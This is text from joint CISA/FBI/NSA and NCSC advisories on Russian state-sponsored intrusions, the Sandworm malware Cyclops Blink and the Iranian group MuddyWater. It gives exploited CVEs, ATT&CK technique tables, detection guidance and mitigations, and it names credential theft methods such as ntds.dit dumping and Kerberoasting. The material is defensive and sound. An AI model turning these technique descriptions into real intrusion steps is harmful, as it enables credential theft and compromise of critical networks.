CVE-2019-2725 Oracle WebLogic Server
CVE-2019-7609 Kibana
CVE-2019-9670 Zimbra software
CVE-2019-10149 Exim Simple Mail Transfer Protocol
CVE-2019-11510 Pulse Secure
CVE-2019-19781 Citrix
CVE-2020-0688 Microsoft Exchange
CVE-2020-4006 VMWare (note: this was a zero-day at time.)
CVE-2020-5902 F5 Big-IP
CVE-2020-14882 Oracle WebLogic
CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in
conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065)
Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber
capabilities by compromising third-party infrastructure, compromising third-party software, or
developing and deploying custom malware. The actors have also demonstrated the ability to maintain
persistent, undetected, long-term access in compromised environments
including cloud
environments
by using legitimate credentials.
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In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations
have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with
destructive malware. See the following advisories and alerts for information on historical Russian
state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:
ICS Advisory ICS Focused Malware 
 Havex
ICS Alert Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)
ICS Alert Cyber-Attack Against Ukrainian Critical Infrastructure
Technical Alert CrashOverride Malware
CISA MAR HatMan: Safety System Targeted Malware (Update B)
CISA ICS Advisory Schneider Electric Triconex Tricon (Update B)
Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of
U.S. and international critical infrastructure organizations, including those in the Defense Industrial
Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government
Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors
by U.S. government reporting and legal actions includes:
Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT)
governments and aviation networks, September 2020, through at least December 2020.
Russian state-sponsored APT actors targeted dozens of SLTT government and aviation
networks. The actors successfully compromised networks and exfiltrated data from multiple
victims.
Russian state-sponsored APT actors
 global Energy Sector intrusion campaign, 2011 to
2018. These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign
in which they gained remote access to U.S. and international Energy Sector networks,
deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.
Russian state-sponsored APT actors
 campaign against Ukrainian critical
infrastructure, 2015 and 2016. Russian state-sponsored APT actors conducted a
cyberattack against Ukrainian energy distribution companies, leading to multiple companies
experiencing unplanned power outages in December 2015. The actors deployed BlackEnergy
malware to steal user credentials and used its destructive malware component, KillDisk, to
make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion
campaign against a Ukrainian electrical transmission company and deployed CrashOverride
malware specifically designed to attack power grids.
For more information on recent and historical Russian state-sponsored malicious cyber activity, see
the referenced products below or cisa.gov/Russia.
Joint FBI-DHS-CISA CSA Russian Foreign Intelligence Service (SVR) Cyber Operations:
Trends and Best Practices for Network Defenders
Joint NSA-FBI-CISA CSA Russian GRU Conducting Global Brute Force Campaign to
Compromise Enterprise and Cloud Environments
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Joint FBI-CISA CSA Russian State-Sponsored Advanced Persistent Threat Actor
Compromises U.S. Government Targets
Joint CISA-FBI CSA APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure,
and Elections Organizations
CISA
s webpage Remediating Networks Affected by the SolarWinds and Active
Directory/M365 Compromise
CISA Alert Russian Government Cyber Activity Targeting Energy Sector and Other Critical
Infrastructure Sectors
CISA ICS: Alert Cyber-Attack Against Ukrainian Critical Infrastructure
Table 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors,
which map to the MITRE ATT&CK for Enterprise framework, version 10. Note: these lists are not
intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based
on public reporting.[1] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored
actors may modify their TTPs as they deem necessary to reduce their risk of detection.
Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors
Tactic
Reconnaissance
[TA0043]
Technique
Active Scanning:
Vulnerability Scanning
[T1595.002]
Procedure
Russian state-sponsored APT actors have performed largescale scans in an attempt to find vulnerable servers.
Phishing for Information
[T1598]
Russian state-sponsored APT actors have conducted
spearphishing campaigns to gain credentials of target
networks.
Resource
Development
[TA0042]
Develop Capabilities:
Malware [T1587.001]
Russian state-sponsored APT actors have developed and
deployed malware, including ICS-focused destructive
malware.
Initial Access
[TA0001]
Exploit Public Facing
Applications [T1190]
Russian state-sponsored APT actors use publicly known
vulnerabilities, as well as zero-days, in internet-facing
systems to gain access to networks.
Supply Chain
Compromise:
Compromise Software
Supply Chain
[T1195.002]
Russian state-sponsored APT actors have gained initial
access to victim organizations by compromising trusted thirdparty software. Notable incidents include M.E.Doc accounting
software and SolarWinds Orion.
Command and Scripting
Interpreter: PowerShell
[T1059.003] and
Russian state-sponsored APT actors have used cmd.exe to
execute commands on remote machines. They have also
used PowerShell to create new tasks on remote machines,
Execution
[TA0002]
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Tactic
Technique
Windows Command
Shell [T1059.003]
Procedure
identify configuration settings, exfiltrate data, and to execute
other commands.
Persistence
[TA0003]
Valid Accounts [T1078]
Russian state-sponsored APT actors have used credentials of
existing accounts to maintain persistent, long-term access to
compromised networks.
Credential
Access
[TA0006]
Brute Force: Password
Guessing [T1110.001]
and Password Spraying
[T1110.003]
Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns.
OS Credential Dumping:
NTDS [T1003.003]
Russian state-sponsored APT actors have exfiltrated
credentials and exported copies of the Active Directory
database ntds.dit.
Steal or Forge Kerberos
Tickets: Kerberoasting
[T1558.003]
Russian state-sponsored APT actors have performed
Kerberoasting,
 whereby they obtained the Ticket Granting
Service (TGS) Tickets for Active Directory Service Principal
Names (SPN) for offline cracking.
Credentials from
Password Stores [T1555]
Russian state-sponsored APT actors have used previously
compromised account credentials to attempt to access Group
Managed Service Account (gMSA) passwords.
Exploitation for
Credential Access
[T1212]
Russian state-sponsored APT actors have exploited Windows
Netlogon vulnerability CVE-2020-1472 to obtain access to
Windows Active Directory servers.
Unsecured Credentials:
Private Keys [T1552.004]
Russian state-sponsored APT actors have obtained private
encryption keys from the Active Directory Federation Services
(ADFS) container to decrypt corresponding SAML signing
certificates.
Proxy: Multi-hop Proxy
[T1090.003]
Russian state-sponsored APT actors have used virtual private
servers (VPSs) to route traffic to targets. The actors often use
VPSs with IP addresses in the home country of the victim to
hide activity among legitimate user traffic.
Command and
Control
[TA0011]
For additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for
Enterprise pages on APT29, APT28, and the Sandworm Team, respectively. For information on ICS
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TTPs see the ATT&CK for ICS pages on the Sandworm Team, BlackEnergy 3 malware,
CrashOveride malware, BlackEnergy
s KillDisk component, and NotPetya malware.
DETECTION
Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term
access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all
critical infrastructure organizations to:
Implement robust log collection and retention. Without a centralized log collection and
monitoring capability, organizations have limited ability to investigate incidents or detect the
threat actor behavior described in this advisory. Depending on the environment, examples
include:
Native tools such as M365
s Sentinel.
Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool
(CRT), to review Microsoft cloud environments and to detect unusual activity, service
principals, and application activity. Note: for guidance on using these and other
detection tools, refer to CISA Alert Detecting Post-Compromise Threat Activity in
Microsoft Cloud Environments.
Look for behavioral evidence or network and host-based artifacts from known Russian
state-sponsored TTPs. See table 1 for commonly observed TTPs.
To detect password spray activity, review authentication logs for system and
application login failures of valid accounts. Look for multiple, failed authentication
attempts across multiple accounts.
To detect use of compromised credentials in combination with a VPS, follow the below
steps:
Look for suspicious 
impossible logins,
 such as logins with changing
username, user agent strings, and IP address combinations or logins where IP
addresses do not align to the expected user
s geographic location.
Look for one IP used for multiple accounts, excluding expected logins.
Look for 
impossible travel.
 Impossible travel occurs when a user logs in from
multiple IP addresses that are a significant geographic distance apart (i.e., a
person could not realistically travel between the geographic locations of the two
IP addresses during the time period between the logins). Note: implementing
this detection opportunity can result in false positives if legitimate users apply
VPN solutions before connecting into networks.
Look for processes and program execution command-line arguments that may
indicate credential dumping, especially attempts to access or copy the
ntds.dit file from a domain controller.
Look for suspicious privileged account use after resetting passwords or
applying user account mitigations.
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Look for unusual activity in typically dormant accounts.
Look for unusual user agent strings, such as strings not typically associated
with normal user activity, which may indicate bot activity.
For organizations with OT/ICS systems:
Take note of unexpected equipment behavior; for example, unexpected reboots of
digital controllers and other OT hardware and software.
Record delays or disruptions in communication with field equipment or other OT
devices. Determine if system parts or components are lagging or unresponsive.
INCIDENT RESPONSE
Organizations detecting potential APT activity in their IT or OT networks should:
1. Immediately isolate affected systems.
2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup
data with an antivirus program to ensure it is free of malware.
3. Collect and review relevant logs, data, and artifacts.
4. Consider soliciting support from a third-party IT organization to provide subject matter
expertise, ensure the actor is eradicated from the network, and avoid residual issues that
could enable follow-on exploitation.
5. Report incidents to CISA and/or the FBI via your local FBI field office or the FBI
s 24/7
CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
Note: for OT assets, organizations should have a resilience plan that addresses how to operate if
you lose access to
or control of
the IT and/or OT environment. Refer to the Mitigations section for
more information.
See the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United
States on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on
hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and
NSA encourage critical infrastructure owners and operators to see CISA
s Federal Government
Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian
branch agencies, these playbooks provide operational procedures for planning and conducting
cybersecurity incident and vulnerability response activities and detail each step for both incident and
vulnerability response.
Note: organizations should document incident response procedures in a cyber incident response
plan, which organizations should create and exercise (as noted in the Mitigations section).
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MITIGATIONS
CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to
increase their cyber resilience against this threat.
Be Prepared
Confirm Reporting Processes and Minimize Coverage Gaps
Develop internal contact lists. Assign main points of contact for a suspected incident as well
as roles and responsibilities and ensure personnel know how and when to report an incident.
Minimize gaps in IT/OT security personnel availability by identifying surge support for
responding to an incident. Malicious cyber actors are known to target organizations on
weekends and holidays when there are gaps in organizational cybersecurity
critical
infrastructure organizations should proactively protect themselves by minimizing gaps in
coverage.
Ensure IT/OT security personnel monitor key internal security capabilities and can identify
anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1
for commonly observed TTPs).
Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and
Continuity of Operations Plan
Create, maintain, and exercise a cyber incident response and continuity of operations plan.
Ensure personnel are familiar with the key steps they need to take during an incident and are
positioned to act in a calm and unified manner. Key questions:
o Do personnel have the access they need?
o Do they know the processes?
For OT assets/networks,
o Identify a resilience plan that addresses how to operate if you lose access to
control of
the IT and/or OT environment.
 Identify OT and IT network interdependencies and develop workarounds or
manual controls to ensure ICS networks can be isolated if the connections
create risk to the safe and reliable operation of OT processes. Regularly test
contingency plans, such as manual controls, so that safety critical functions can
be maintained during a cyber incident. Ensure that the OT network can operate
at necessary capacity even if the IT network is compromised.
o Regularly test manual controls so that critical functions can be kept running if ICS or
OT networks need to be taken offline.
o Implement data backup procedures on both the IT and OT networks. Backup
procedures should be conducted on a frequent, regular basis. Regularly test backup
procedures and ensure that backups are isolated from network connections that could
enable the spread of malware.
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In addition to backing up data, develop recovery documents that include configuration
settings for common devices and critical OT equipment. This can enable more efficient
recovery following an incident.
Enhance your Organization
s Cyber Posture
CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and
access management, protective controls and architecture, and vulnerability and configuration
management.
Identity and Access Management
Require multi-factor authentication for all users, without exception.
Require accounts to have strong passwords and do not allow passwords to be used across
multiple accounts or stored on a system to which an adversary may have access.
Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to
maintain persistence using compromised credentials.
o Use virtualizing solutions on modern hardware and software to ensure credentials are
securely stored.
o Disable the storage of clear text passwords in LSASS memory.
o Consider disabling or limiting New Technology Local Area Network Manager
(NTLM) and WDigest Authentication.
o Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft:
Manage Windows Defender Credential Guard for more information). For Windows
Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
o Minimize the Active Directory attack surface to reduce malicious ticket-granting activity.
Malicious activity such as 
Kerberoasting
 takes advantage of Kerberos
 TGS and can
be used to obtain hashed credentials that attackers attempt to crack.
Set a strong password policy for service accounts.
Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are
monitored for anomalous activity.
o Secure accounts.
o Enforce the principle of least privilege. Administrator accounts should have the
minimum permission they need to do their tasks.
o Ensure there are unique and distinct administrative accounts for each set of
administrative tasks.
o Create non-privileged accounts for privileged users and ensure they use the nonprivileged accounts for all non-privileged access (e.g., web browsing, email access).
Protective Controls and Architecture
Identify, detect, and investigate abnormal activity that may indicate lateral movement by a
threat actor or malware. Use network monitoring tools and host-based logs and monitoring
tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly
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useful for detecting lateral connections as they have insight into common and uncommon
network connections for each host.
Enable strong spam filters.
o Enable strong spam filters to prevent phishing emails from reaching end users.
o Filter emails containing executable files to prevent them from reaching end users.
o Implement a user training program to discourage users from visiting malicious
websites or opening malicious attachments.
Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure
organizations implement network segmentation to separate network segments based on role and
functionality. Network segmentation can help prevent lateral movement by controlling traffic flows
between
and access to
various subnetworks.
Appropriately implement network segmentation between IT and OT networks. Network
segmentation limits the ability of adversaries to pivot to the OT network even if the IT network
is compromised. Define a demilitarized zone that eliminates unregulated communication
between the IT and OT networks.
Organize OT assets into logical zones by taking into account criticality, consequence, and
operational necessity. Define acceptable communication conduits between the zones and
deploy security controls to filter network traffic and monitor communications between zones.
Prohibit ICS protocols from traversing the IT network.
Vulnerability and Configuration Management
Update software, including operating systems, applications, and firmware on IT network
assets, in a timely manner. Prioritize patching known exploited vulnerabilities, especially those
CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote
code execution or denial-of-service on internet-facing equipment.
o Consider using a centralized patch management system. For OT networks, use a riskbased assessment strategy to determine the OT network assets and zones that should
participate in the patch management program.
o Consider signing up for CISA
s cyber hygiene services, including vulnerability
scanning, to help reduce exposure to threats. CISA
s vulnerability scanning service
evaluates external network presence by executing continuous scans of public, static IP
addresses for accessible services and vulnerabilities.
Use industry recommended antivirus programs.
o Set antivirus/antimalware programs to conduct regular scans of IT network assets
using up-to-date signatures.
o Use a risk-based asset inventory strategy to determine how OT network assets are
identified and evaluated for the presence of malware.
Implement rigorous configuration management programs. Ensure the programs can track and
mitigate emerging threats. Review system configurations for misconfigurations and security
weaknesses.
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Disable all unnecessary ports and protocols
o Review network security device logs and determine whether to shut off unnecessary
ports and protocols. Monitor common ports and protocols for command and control
activity.
o Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within
devices.
Ensure OT hardware is in read-only mode.
Increase Organizational Vigilance
Regularly review reporting on this threat. Consider signing up for CISA notifications to receive
timely information on current security issues, vulnerabilities, and high-impact activity.
RESOURCES
For more information on Russian state-sponsored malicious cyber activity, refer to
cisa.gov/Russia.
Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against
Attackers Targeting Cloud Services for steps for guidance on strengthening your organizations
cloud security practices.
Leaders of small businesses and small and local government agencies should see CISA
Cyber Essentials for guidance on developing an actionable understanding of implementing
organizational cybersecurity practices.
Critical infrastructure owners and operators with OT/ICS networks, should review the following
resources for additional information:
o NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce
Exposure Across Operational Technologies and Control Systems
o CISA factsheet Rising Ransomware Threat to Operational Technology Assets for
additional recommendations.
REWARDS FOR JUSTICE PROGRAM
If you have information on state-sponsored Russian cyber operations targeting U.S. critical
infrastructure, contact the Department of State
s Rewards for Justice Program. You may be eligible
for a reward of up to $10 million, which DOS is offering for information leading to the identification or
location of any person who, while acting under the direction or control of a foreign government,
participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer
Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send
information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more
details refer to rewardsforjustice.net/malicious_cyber_activity.
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CAVEATS
The information you have accessed or received is being provided 
as is
 for informational purposes
only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any
subjects of analysis. Any reference to specific commercial products, processes, or services by service
mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement,
recommendation, or favoring by CISA, the FBI, or NSA.
REFERENCES
[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors
https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors
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Advisory.
New Sandworm malware
Cyclops Blink replaces
VPNFilter
Version 1.0
23 February 2022
 Crown Copyright 2022
New Sandworm malware Cyclops Blink
replaces VPNFilter
The Sandworm actor, which the UK and US have previously attributed to
the Russian GRU, has replaced the exposed VPNFilter malware with a new
more advanced framework.
Background
The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure
Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau
of Investigation (FBI) in the US have identified that the actor known as Sandworm or
Voodoo Bear is using a new malware, referred to here as Cyclops Blink. The NCSC,
CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian
s Main Centre for Special Technologies GTsST. The malicious cyber activity
below has previously been attributed to Sandworm:
The BlackEnergy disruption of Ukrainian electricity in 2015
Industroyer in 2016
NotPetya in 2017
Attacks against the Winter Olympics and Paralympics in 20181
A series of disruptive attacks against Georgia in 20192
Cyclops Blink appears to be a replacement framework for the VPNFilter malware
exposed in 2018, which exploited network devices, primarily small office/home office
(SOHO) routers and network attached storage (NAS) devices.
https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games
https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks
This advisory summarises the VPNFilter malware it replaces, and provides more detail
about Cyclops Blink, as well as the associated tactics, techniques and procedures
(TTPs) used by Sandworm. An NCSC malware analysis report on Cyclops Blink is
also available and can be read in parallel.
It also points to mitigation measures to help organisations that may be affected by this
malware.
VPNFilter
First exposed in 2018
A series of articles published by Cisco Talos in 20181 describes VPNFilter and its
modules in detail. VPNFilter was deployed in stages, with most functionality in the
third-stage modules. These modules enabled traffic manipulation, destruction of the
infected host device, and likely enabled downstream devices to be exploited. They
also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing
requirement for Sandworm, as also seen in their previous attacks against ICS
networks.
VPNFilter targeting was widespread and appeared indiscriminate, with some
exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018.
Sandworm also deployed VPNFilter against targets in the Republic of Korea before
the 2018 Winter Olympics.
In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US
Department of Justice linked the activity2 to Sandworm, and announced its disruption
of the botnet.
Activity since its exposure
A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and
provided data showing a reduction in requests to a known C2 domain. Since the
disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter
footholds, instead preferring to retool.
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html
Cyclops Blink
Active since 2019
The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a
large-scale modular malware framework which is affecting network devices. The new
malware is referred to here as Cyclops Blink and has been deployed since at least
June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter,
Cyclops Blink deployment also appears indiscriminate and widespread.
The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it
is likely that Sandworm would be capable of compiling the malware for other
architectures and firmware.
Malware overview
The malware itself is sophisticated and modular with basic core functionality to beacon
(T1132.002) device information back to a server and enable files to be downloaded
and executed. There is also functionality to add new modules while the malware is
running, which allows Sandworm to implement additional capability as required.
The NCSC has published a malware analysis report on Cyclops Blink which provides
more detail about the malware.
Post exploitation
Post exploitation, Cyclops Blink is generally deployed as part of a firmware 
update
(T1542.001). This achieves persistence when the device is rebooted and makes
remediation harder.
1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote
management interfaces to external access could be infected.
Victim devices are organised into clusters and each deployment of Cyclops Blink has
a list of command and control (C2) IP addresses and ports that it uses (T1008). All the
known C2 IP addresses to date have been used by compromised WatchGuard firewall
devices. Communications between Cyclops Blink clients and servers are protected
under Transport Layer Security (TLS) (T1071.001), using individually generated keys
and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer
through the Tor network:
Mitigation
Cyclops Blink persists on reboot and throughout the legitimate firmware update
process. Affected organisations should therefore take steps to remove the malware.
WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided
tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard
devices through a non-standard upgrade process. Device owners should follow each
step in these instructions to ensure that devices are patched to the latest version and
that any infection is removed.
WatchGuard tooling and guidance is available at:
https://detection.watchguard.com/
In addition:
If your device is identified as infected with Cyclops Blink, you should assume
that any passwords present on the device have been compromised and
replace them (see NCSC password guidance for organisations:
https://www.ncsc.gov.uk/collection/passwords )
You should ensure that the management interface of network devices is not
exposed to the internet.
Indicators of compromise
Please refer to the accompanying Cyclops Blink malware analysis report for indicators
of compromise which may help detect this activity.
MITRE ATT&CK
This advisory has been compiled with respect to the MITRE ATT&CK
 framework, a
globally accessible knowledge base of adversary tactics and techniques based on
real-world observations.
Tactic
Initial Access
Technique
T1133
Procedure
External Remote Services
The actors most likely deploy modified device firmware
images by exploiting an externally available service
Execution
T1059.004
Command and Scripting Interpreter: Unix Shell
Cyclops Blink executes downloaded files using the
Linux API
Persistence
T1542.001
Pre-OS Boot: System Firmware
Cyclops Blink is deployed within a modified device
firmware image
T1037.004
Boot or Logon Initialisation Scripts: RC Scripts
Cyclops Blink is executed on device startup, using a
modified RC script
Defence Evasion
T1562.004
Impair Defenses: Disable or Modify System Firewall
Cyclops Blink modifies the Linux system firewall to
enable C2 communication
T1036.005
Masquerading: Match Legitimate Name or Location
Cyclops Blink masquerades as a Linux kernel thread
process
Discovery
T1082
Command and
Control
T1090
System Information Discovery
Cyclops Blink regularly queries device information
T1132.002
Proxy
Data Encoding: Non-Standard Encoding
Cyclops Blink command messages use a custom
binary scheme to encode data
T1008
Fallback Channels
Cyclops Blink randomly selects a C2 server from
contained lists of IPv4 addresses and port numbers
T1071.001
Application Layer Protocol: Web Protocols
Cyclops Blink can download files via HTTP or HTTPS
T1573.002
Encrypted Channel: Asymmetric Cryptography
Cyclops Blink C2 messages are individually encrypted
using AES-256-CBC and sent underneath TLS
T1571
Non-Standard Port
The list of port numbers used by Cyclops Blink
includes non-standard ports not typically associated
with HTTP or HTTPS traffic
Exfiltration
T1041
Exfiltration Over C2 Channel
Cyclops Blink can upload files to a C2 server
Conclusion
A Cyclops Blink infection does not mean that an organisation is the primary target,
but it may be selected to be, or its machines could be used to conduct attacks.
Organisations are advised to follow the mitigation advice in this advisory and to refer
to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis
report to detect possible activity on networks.
UK organisations affected by the activity outlined in this advisory should report any
compromises to the NCSC via our website.
Further guidance
A variety of mitigations will be of use in defending against the malware featured in this
advisory.
 Do not expose management interfaces of network devices to the internet: the
management interface is a significant attack surface, so not exposing them
reduces the risk. See NCSC guidance:
https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-networkdevices
 Protect your devices and networks by keeping them up to date: use the latest
supported versions, apply security patches promptly, use anti-virus and scan
regularly to guard against known malware threats. See NCSC
guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware
 Use multi-factor authentication to reduce the impact of password
compromises. See NCSC guidance: https://www.ncsc.gov.uk/guidance/multifactor-authentication-online-services and https://www.ncsc.gov.uk/guidance/settingtwo-factor-authentication-2fa
 Treat people as your first line of defence. Tell staff how to report suspected
phishing emails, and ensure they feel confident to do so. Investigate their reports
promptly and thoroughly. Never punish users for clicking phishing links or opening
attachments. See NCSC guidance: https://www.ncsc.gov.uk/phishing
 Set up a security monitoring capability so you are collecting the data that will be
needed to analyse network intrusions. See NCSC
guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-securitypurposes.
 Prevent and detect lateral movement in your organisation
s networks. See
NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
About this document
This advisory is the result of a collaborative effort by United Kingdom
National Cyber Security Centre (NCSC), the United States
Cybersecurity and Infrastructure Security Agency (CISA), Federal
Bureau of Investigation (FBI) and National Security Agency (NSA)
The United States
 Cybersecurity and Infrastructure Security Agency
(CISA), Federal Bureau of Investigation (FBI) and National Security
Agency (NSA) agree with this attribution and the details provided in the
report.
This advisory has been compiled with respect to the MITRE ATT&CK
framework, a globally accessible knowledge base of adversary tactics
and techniques based on real-world observations.
Disclaimers
This report draws on information derived from NCSC and industry
sources. Any NCSC findings and recommendations made have not been
provided with the intention of avoiding all risks and following the
recommendations will not remove all such risk. Ownership of information
risks remains with the relevant system owner at all times.
All material is UK Crown Copyright 
DISCLAIMER OF ENDORSEMENT The information and opinions
contained in this document are provided "as is" and without any
warranties or guarantees. Reference herein to any specific commercial
products, process, or service by trade name, trademark, manufacturer,
or otherwise, does not constitute or imply its endorsement,
recommendation, or favoring by the United States Government, and this
guidance shall not be used for advertising or product endorsement
purposes.
For NSA client requirements or general cybersecurity inquiries, contact
the NSA Cybersecurity Requirements Center at 410-854-4200 or
Cybersecurity_Requests@nsa.gov.
TLP:WHITE
Co-Authored by:
Product ID: AA22-055A
February 24, 2022
Iranian Government-Sponsored Actors Conduct
Cyber Operations Against Global Government
and Commercial Networks
Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK
) framework,
version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
SUMMARY
The Federal Bureau of Investigation (FBI), the Cybersecurity
and Infrastructure Security Agency (CISA), the U.S. Cyber
Command Cyber National Mission Force (CNMF), and the
United Kingdom
s National Cyber Security Centre (NCSCUK) have observed a group of Iranian government-sponsored
advanced persistent threat (APT) actors, known as
MuddyWater, conducting cyber espionage and other
malicious cyber operations targeting a range of government
and private-sector organizations across sectors
including
telecommunications, defense, local government, and oil and
natural gas
in Asia, Africa, Europe, and North America.
Note: MuddyWater is also known as Earth Vetala,
MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.
Actions to Take Today to Protect
Against Malicious Activity
Search for indicators of
compromise.
Use antivirus software.
Patch all systems.
Prioritize patching known
exploited vulnerabilities.
Train users to recognize and
report phishing attempts.
Use multi-factor authentication.
MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security
(MOIS).[1] This APT group has conducted broad cyber campaigns in support of MOIS objectives
since approximately 2018. MuddyWater actors are positioned both to provide stolen data and
accesses to the Iranian government and to share these with other malicious cyber actors.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by
email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
submitting company or organization; and a designated point of contact. To request incident response resources or technical
assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or
general cybersecurity inquiries, contact the Cybersecurity Requirements Center at Cybersecurity_Requests@nsa.gov.
United Kingdom organizations should report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored
24 hours) or for urgent assistance call 03000 200 973.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see www.cisa.gov/tlp.
TLP: WHITE
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MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools
and strategies to gain access to sensitive data on victims
 systems and deploy ransomware. These
actors also maintain persistence on victim networks via tactics such as side-loading dynamic link
libraries (DLLs)
to trick legitimate programs into running malware
and obfuscating PowerShell
scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed
MuddyWater actors recently using various malware
variants of PowGoop, Small Sieve, Canopy
(also known as Starwhale), Mori, and POWERSTATS
along with other tools as part of their
malicious activity.
This advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators
of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid
organizations in the identification of malicious activity against sensitive networks.
FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations
apply the mitigations in this advisory and review the following resources for additional information.
Note: also see the Additional Resources section.
Malware Analysis Report 
 MAR-10369127.r1.v1: MuddyWater
IOCs 
 AA22-055A.stix and MAR-10369127.r1.v1.stix
CISA's webpage 
 Iran Cyber Threat Overview and Advisories
NCSC-UK MAR 
 Small Sieve
CNMF's press release 
 Iranian intel cyber suite of malware uses open source tools
TECHNICAL DETAILS
FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater
APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple
open-source tools to gain access to sensitive government and commercial networks.
As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into
downloading ZIP files, containing either an Excel file with a malicious macro that communicates with
the actor
s C2 server or a PDF file that drops a malicious file to the victim
s network [T1566.001,
T1204.002]. MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick
legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2
functions [T1027] (see the PowGoop section for more information).
Additionally, the group uses multiple malware sets
including PowGoop, Small Sieve,
Canopy/Starwhale, Mori, and POWERSTATS
